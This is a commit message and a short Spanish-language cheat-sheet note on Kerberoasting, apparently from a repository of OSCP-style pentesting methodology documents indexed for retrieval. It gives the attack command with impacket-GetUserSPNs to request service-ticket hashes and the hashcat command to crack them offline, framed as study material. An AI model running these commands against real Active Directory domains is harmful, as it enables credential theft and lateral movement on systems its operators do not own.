7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
722 B
722 B
Kerberoasting
Pides el TGS de cuentas de servicio (las que tienen SPN) y crackeas su hash offline. Uno de los 7 caminos de Active Directory.
Requisito
Cualquier credencial válida de dominio (un user cualquiera).
Ataque
impacket-GetUserSPNs dominio/usuario:password -dc-ip IP -request
# → te devuelve hashes TGS (Kerberos 5 TGS-REP, $krb5tgs$)
Crackeo offline
hashcat -m 13100 hashes.txt rockyou.txt
Por qué funciona
El TGS va cifrado con el hash de la cuenta de servicio (Kerberos). Si su password es débil → crackeo → credencial nueva → Movimiento lateral.
Relacionado: Cracking de contraseñas · AS-REP Roasting · Impacket · BloodHound · OSCP MOC